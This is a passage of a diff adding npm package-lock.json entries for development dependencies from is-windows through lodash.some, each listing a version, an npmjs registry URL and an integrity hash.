+ "integrity": "sha512-AhiROmoEFDSsjx8hW+5sGwgKVIORcXnrlAx/R0ZSeaPw70Vw0CqkGBBhHGL58Uox2eXnU1AnvXJl1XlyedO5bA==",
+ "dev": true
+ },
+ "is-windows": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
+ "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==",
+ "dev": true
+ },
+ "isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==",
+ "dev": true
+ },
+ "isexe": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+ "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+ "dev": true
+ },
+ "isobject": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+ "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==",
+ "dev": true
+ },
+ "istanbul-lib-coverage": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
+ "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==",
+ "dev": true
+ },
+ "istanbul-lib-hook": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz",
+ "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==",
+ "dev": true,
+ "requires": {
+ "append-transform": "^2.0.0"
+ }
+ },
+ "istanbul-lib-instrument": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz",
+ "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==",
+ "dev": true,
+ "requires": {
+ "@babel/core": "^7.7.5",
+ "@istanbuljs/schema": "^0.1.2",
+ "istanbul-lib-coverage": "^3.0.0",
+ "semver": "^6.3.0"
+ }
+ },
+ "istanbul-lib-processinfo": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.3.tgz",
+ "integrity": "sha512-NkwHbo3E00oybX6NGJi6ar0B29vxyvNwoC7eJ4G4Yq28UfY758Hgn/heV8VRFhevPED4LXfFz0DQ8z/0kw9zMg==",
+ "dev": true,
+ "requires": {
+ "archy": "^1.0.0",
+ "cross-spawn": "^7.0.3",
+ "istanbul-lib-coverage": "^3.2.0",
+ "p-map": "^3.0.0",
+ "rimraf": "^3.0.0",
+ "uuid": "^8.3.2"
+ },
+ "dependencies": {
+ "p-map": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz",
+ "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==",
+ "dev": true,
+ "requires": {
+ "aggregate-error": "^3.0.0"
+ }
+ }
+ }
+ },
+ "istanbul-lib-report": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+ "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==",
+ "dev": true,
+ "requires": {
+ "istanbul-lib-coverage": "^3.0.0",
+ "make-dir": "^3.0.0",
+ "supports-color": "^7.1.0"
+ },
+ "dependencies": {
+ "make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "requires": {
+ "semver": "^6.0.0"
+ }
+ }
+ }
+ },
+ "istanbul-lib-source-maps": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
+ "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
+ "dev": true,
+ "requires": {
+ "debug": "^4.1.1",
+ "istanbul-lib-coverage": "^3.0.0",
+ "source-map": "^0.6.1"
+ }
+ },
+ "istanbul-reports": {
+ "version": "3.1.5",
+ "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz",
+ "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==",
+ "dev": true,
+ "requires": {
+ "html-escaper": "^2.0.0",
+ "istanbul-lib-report": "^3.0.0"
+ }
+ },
+ "jest-worker": {
+ "version": "27.5.1",
+ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
+ "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@types/node": "*",
+ "merge-stream": "^2.0.0",
+ "supports-color": "^8.0.0"
+ },
+ "dependencies": {
+ "supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ }
+ }
+ },
+ "jiti": {
+ "version": "1.19.1",
+ "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.19.1.tgz",
+ "integrity": "sha512-oVhqoRDaBXf7sjkll95LHVS6Myyyb1zaunVwk4Z0+WPSW4gjS0pl01zYKHScTuyEhQsFxV5L4DR5r+YqSyqyyg==",
+ "dev": true
+ },
+ "js-tokens": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+ "dev": true
+ },
+ "js-yaml": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
+ "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+ "dev": true,
+ "requires": {
+ "argparse": "^2.0.1"
+ }
+ },
+ "js2xmlparser": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz",
+ "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==",
+ "dev": true,
+ "requires": {
+ "xmlcreate": "^2.0.4"
+ }
+ },
+ "jsdoc": {
+ "version": "3.6.7",
+ "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.7.tgz",
+ "integrity": "sha512-sxKt7h0vzCd+3Y81Ey2qinupL6DpRSZJclS04ugHDNmRUXGzqicMJ6iwayhSA0S0DwwX30c5ozyUthr1QKF6uw==",
+ "dev": true,
+ "requires": {
+ "@babel/parser": "^7.9.4",
+ "bluebird": "^3.7.2",
+ "catharsis": "^0.9.0",
+ "escape-string-regexp": "^2.0.0",
+ "js2xmlparser": "^4.0.1",
+ "klaw": "^3.0.0",
+ "markdown-it": "^10.0.0",
+ "markdown-it-anchor": "^5.2.7",
+ "marked": "^2.0.3",
+ "mkdirp": "^1.0.4",
+ "requizzle": "^0.2.3",
+ "strip-json-comments": "^3.1.0",
+ "taffydb": "2.6.2",
+ "underscore": "~1.13.1"
+ },
+ "dependencies": {
+ "escape-string-regexp": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
+ "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
+ "dev": true
+ }
+ }
+ },
+ "jsdom": {
+ "version": "18.0.0",
+ "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-18.0.0.tgz",
+ "integrity": "sha512-HVLuBcFmwdWulStv5U+J59b1AyzXhM92KXlM8HQ3ecYtRM2OQEUCPMa4oNuDeCBmtRcC7tJvb0Xz5OeFXMOKTA==",
+ "dev": true,
+ "requires": {
+ "abab": "^2.0.5",
+ "acorn": "^8.5.0",
+ "acorn-globals": "^6.0.0",
+ "cssom": "^0.5.0",
+ "cssstyle": "^2.3.0",
+ "data-urls": "^3.0.1",
+ "decimal.js": "^10.3.1",
+ "domexception": "^4.0.0",
+ "escodegen": "^2.0.0",
+ "form-data": "^4.0.0",
+ "html-encoding-sniffer": "^3.0.0",
+ "http-proxy-agent": "^5.0.0",
+ "https-proxy-agent": "^5.0.0",
+ "is-potential-custom-element-name": "^1.0.1",
+ "nwsapi": "^2.2.0",
+ "parse5": "6.0.1",
+ "saxes": "^5.0.1",
+ "symbol-tree": "^3.2.4",
+ "tough-cookie": "^4.0.0",
+ "w3c-hr-time": "^1.0.2",
+ "w3c-xmlserializer": "^3.0.0",
+ "webidl-conversions": "^7.0.0",
+ "whatwg-encoding": "^2.0.0",
+ "whatwg-mimetype": "^3.0.0",
+ "whatwg-url": "^10.0.0",
+ "ws": "^8.2.3",
+ "xml-name-validator": "^4.0.0"
+ }
+ },
+ "jsdom-global": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/jsdom-global/-/jsdom-global-3.0.2.tgz",
+ "integrity": "sha512-t1KMcBkz/pT5JrvcJbpUR2u/w1kO9jXctaaGJ0vZDzwFnIvGWw9IDSRciT83kIs8Bnw4qpOl8bQK08V01YgMPg==",
+ "dev": true,
+ "requires": {}
+ },
+ "jsesc": {
+ "version": "2.5.2",
+ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+ "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+ "dev": true
+ },
+ "json-parse-even-better-errors": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+ "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
+ "dev": true,
+ "peer": true
+ },
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+ "dev": true
+ },
+ "json-stable-stringify-without-jsonify": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
+ "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==",
+ "dev": true
+ },
+ "json5": {
+ "version": "2.2.3",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
+ "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
+ "dev": true
+ },
+ "jsonfile": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
+ "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "^4.1.6",
+ "universalify": "^2.0.0"
+ },
+ "dependencies": {
+ "universalify": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+ "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+ "dev": true
+ }
+ }
+ },
+ "jsonminify": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/jsonminify/-/jsonminify-0.2.3.tgz",
+ "integrity": "sha512-xCKqFKtH9nCPqm2Uisk7GlgYMkk4FQ7rHosMcIoSBAP8KkpW8/9ditjDXCcTuIEIiyq9WR97G+9i60fhW7ibUA==",
+ "dev": true
+ },
+ "just-debounce": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/just-debounce/-/just-debounce-1.1.0.tgz",
+ "integrity": "sha512-qpcRocdkUmf+UTNBYx5w6dexX5J31AKK1OmPwH630a83DdVVUIngk55RSAiIGpQyoH0dlr872VHfPjnQnK1qDQ==",
+ "dev": true
+ },
+ "just-extend": {
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz",
+ "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==",
+ "dev": true
+ },
+ "kind-of": {
+ "version": "6.0.3",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+ "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
+ "dev": true
+ },
+ "klaw": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/klaw/-/klaw-3.0.0.tgz",
+ "integrity": "sha512-0Fo5oir+O9jnXu5EefYbVK+mHMBeEVEy2cmctR1O1NECcCkPRreJKrS6Qt/j3KC2C148Dfo9i3pCmCMsdqGr0g==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "^4.1.9"
+ }
+ },
+ "kleur": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
+ "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
+ "dev": true
+ },
+ "last-run": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/last-run/-/last-run-1.1.1.tgz",
+ "integrity": "sha512-U/VxvpX4N/rFvPzr3qG5EtLKEnNI0emvIQB3/ecEwv+8GHaUKbIB8vxv1Oai5FAF0d0r7LXHhLLe5K/yChm5GQ==",
+ "dev": true,
+ "requires": {
+ "default-resolution": "^2.0.0",
+ "es6-weak-map": "^2.0.1"
+ }
+ },
+ "lazystream": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz",
+ "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "^2.0.5"
+ }
+ },
+ "lcid": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz",
+ "integrity": "sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==",
+ "dev": true,
+ "requires": {
+ "invert-kv": "^1.0.0"
+ }
+ },
+ "lead": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz",
+ "integrity": "sha512-IpSVCk9AYvLHo5ctcIXxOBpMWUe+4TKN3VPWAKUbJikkmsGp0VrSM8IttVc32D6J4WUsiPE6aEFRNmIoF/gdow==",
+ "dev": true,
+ "requires": {
+ "flush-write-stream": "^1.0.2"
+ }
+ },
+ "levn": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
+ "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
+ "dev": true,
+ "requires": {
+ "prelude-ls": "^1.2.1",
+ "type-check": "~0.4.0"
+ }
+ },
+ "liftoff": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/liftoff/-/liftoff-3.1.0.tgz",
+ "integrity": "sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==",
+ "dev": true,
+ "requires": {
+ "extend": "^3.0.0",
+ "findup-sync": "^3.0.0",
+ "fined": "^1.0.1",
+ "flagged-respawn": "^1.0.0",
+ "is-plain-object": "^2.0.4",
+ "object.map": "^1.0.0",
+ "rechoir": "^0.6.2",
+ "resolve": "^1.1.7"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ }
+ },
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "findup-sync": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz",
+ "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==",
+ "dev": true,
+ "requires": {
+ "detect-file": "^1.0.0",
+ "is-glob": "^4.0.0",
+ "micromatch": "^3.0.4",
+ "resolve-dir": "^1.0.1"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ },
+ "micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "requires": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "braces": "^2.3.1",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "extglob": "^2.0.4",
+ "fragment-cache": "^0.2.1",
+ "kind-of": "^6.0.2",
+ "nanomatch": "^1.2.9",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.2"
+ }
+ }
+ }
+ },
+ "lilconfig": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
+ "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
+ "dev": true
+ },
+ "lines-and-columns": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
+ "dev": true
+ },
+ "linkify-it": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-2.2.0.tgz",
+ "integrity": "sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==",
+ "dev": true,
+ "requires": {
+ "uc.micro": "^1.0.1"
+ }
+ },
+ "load-json-file": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz",
+ "integrity": "sha512-cy7ZdNRXdablkXYNI049pthVeXFurRyb9+hA/dZzerZ0pGTx42z+y+ssxBaVV2l70t1muq5IdKhn4UtcoGUY9A==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "^4.1.2",
+ "parse-json": "^2.2.0",
+ "pify": "^2.0.0",
+ "pinkie-promise": "^2.0.0",
+ "strip-bom": "^2.0.0"
+ },
+ "dependencies": {
+ "pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "dev": true
+ },
+ "strip-bom": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz",
+ "integrity": "sha512-kwrX1y7czp1E69n2ajbG65mIo9dqvJ+8aBQXOGVxqwvNbsXdFM6Lq37dLAY3mknUwru8CfcCbfOLL/gMo+fi3g==",
+ "dev": true,
+ "requires": {
+ "is-utf8": "^0.2.0"
+ }
+ }
+ }
+ },
+ "loader-runner": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz",
+ "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==",
+ "dev": true,
+ "peer": true
+ },
+ "locate-path": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+ "dev": true,
+ "requires": {
+ "p-locate": "^5.0.0"
+ }
+ },
+ "lodash": {
+ "version": "4.17.21",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+ "dev": true
+ },
+ "lodash.castarray": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/lodash.castarray/-/lodash.castarray-4.4.0.tgz",
+ "integrity": "sha512-aVx8ztPv7/2ULbArGJ2Y42bG1mEQ5mGjpdvrbJcJFU3TbYybe+QlLS4pst9zV52ymy2in1KpFPiZnAOATxD4+Q==",
+ "dev": true
+ },
+ "lodash.clone": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/lodash.clone/-/lodash.clone-4.5.0.tgz",
+ "integrity": "sha512-GhrVeweiTD6uTmmn5hV/lzgCQhccwReIVRLHp7LT4SopOjqEZ5BbX8b5WWEtAKasjmy8hR7ZPwsYlxRCku5odg==",
+ "dev": true
+ },
+ "lodash.debounce": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+ "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==",
+ "dev": true
+ },
+ "lodash.flattendeep": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz",
+ "integrity": "sha512-uHaJFihxmJcEX3kT4I23ABqKKalJ/zDrDg0lsFtc1h+3uw49SIJ5beyhx5ExVRti3AvKoOJngIj7xz3oylPdWQ==",
+ "dev": true
+ },
+ "lodash.get": {
+ "version": "4.4.2",
+ "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz",
+ "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==",
+ "dev": true
+ },
+ "lodash.isplainobject": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
+ "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
+ "dev": true
+ },
+ "lodash.merge": {
+ "version": "4.6.2",
+ "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
+ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
+ "dev": true
+ },
+ "lodash.mergewith": {
+ "version": "4.6.2",
+ "resolved": "https://registry.npmjs.org/lodash.mergewith/-/lodash.mergewith-4.6.2.tgz",
+ "integrity": "sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ==",
+ "dev": true
+ },
+ "lodash.some": {
+ "version": "4.6.0",
